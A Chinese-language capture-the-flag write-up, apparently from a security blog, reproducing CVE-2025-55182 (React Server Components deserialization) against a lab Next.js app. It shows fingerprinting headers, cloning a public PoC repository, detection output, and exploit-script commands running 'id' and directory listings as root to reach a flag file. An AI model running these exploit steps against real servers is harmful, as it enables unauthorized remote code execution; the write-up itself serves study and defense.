CVE-2025-55182复现(ReactOOPS)

CVE-2025-55182复现(ReactOOPS)

BushSEC
2025-12-13 / 0 评论 / 2 阅读 / 正在检测是否收录...
AI摘要:本文记录了CVE-2025-55182(ReactOOPS)漏洞的复现过程。攻击者通过检测目标Next.js应用程序的特定响应头与错误信息,确认其存在React RSC(React Server Components)反序列化漏洞。随后利用公开的PoC工具,成功在目标服务器上执行了任意命令,最终读取了受保护的flag.txt文件,实现了远程代码执行。

攻击机IP:10.10.16.8
靶机IP:94.237.120.119
该挑战展示了一款运行NexusAI助手界面的精美Next.js应用程序。该应用程序似乎通过 React Server 组件处理用户输入,但响应层中的细微故障提示了底层漏洞。
访问页面:
image.png

curl -v http://94.237.120.119:31312

从回来的响应头可以发现关于HTTP响应头层面的铁证,从这里可以看到启用了支持 RSC 的 Next.js 应用程序,并提供 HTML,存在CVE-2025-55182漏洞

Vary: rsc, next-router-state-tree, next-router-prefetch, Accept-Encoding

然后让我们来看常见的几个指标

1.包含响应头next-前缀包含 HTML<script type="text/x-component"> 存在.next目录工件未进行明显身份验证的POST端点

x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 300

2.从下面数据可以说明当前稳定版 Next.js(13.4+ / 14)
已弃用该 MIME
改用 __next_f + inline script 注入 Flight 数据

<script>
  self.__next_f.push([...])
</script>

3.存在 .next 目录工件

/_next/static/chunks/*.js
/_next/static/chunks/*.css
/_next/static/media/*.woff2

说明:
/_next/ 是 .next/ 构建产物的 对外映射
实际磁盘结构

.next/
  static/
    chunks/
    media/

虽然无法直接看到服务器的 .next/ 目录,但只要 /_next/static/* 可访问,即可确认 .next 构建工件存在

准备环境

git clone https://github.com/freeqaz/react2shell.git
chmod +x react2shell/*.sh

首先之前的那些指标都是我们的猜测,我们准备进行漏洞检测

./detect.sh http://94.237.120.119:31312
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://94.237.120.119:31312

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{"a":"$@1","f":"","b":"s8I48LfEDhqpCdFN5-HbU"}
1:E{"digest":"346246470"}

[!] This server is running a vulnerable version of React RSC / Next.js
[!] Upgrade to Next.js 16.0.7+ or React 19.2.1+ immediately

从结果看我们发现了

HTTP 500:检测到崩溃
E{"digest"响应式: React 错误处理格式
结论:服务器为漏洞主机

远程代码执行

接下来我们来验证任意命令执行

./exploit-redirect.sh -q http://94.237.120.119:31312 "id"

这里我们能看到代码被成功执行了
image-1.png
这个脚本的作用是什么

构造一个包含命令载荷的 multipart 请求体
将命令嵌入到原型污染(prototype pollution)的引用路径中
发送带有 Next-Action: x 请求头的 POST 请求
服务器在处理过程中对数据进行反序列化,并执行嵌入的命令
通过 HTTP 303 重定向 返回命令执行的输出结果

输出显示uid=0(root)- 网页服务器运行为 root

信息收集

让我们构建文件系统并查找敏感文件

./exploit-redirect.sh -q http://94.237.120.119:31312 "pwd"
./exploit-redirect.sh -q http://94.237.120.119:31312 "ls -la /app"

a42d91c6-c6b9-4175-be91-9ca48bd53c98.png
目标文件存在/app/flag.txt并具有限制性权限(600)
image-2.png
拿到目标文件
image-4.png
image-5.png

0

评论 (0)

取消
歌曲封面
0:00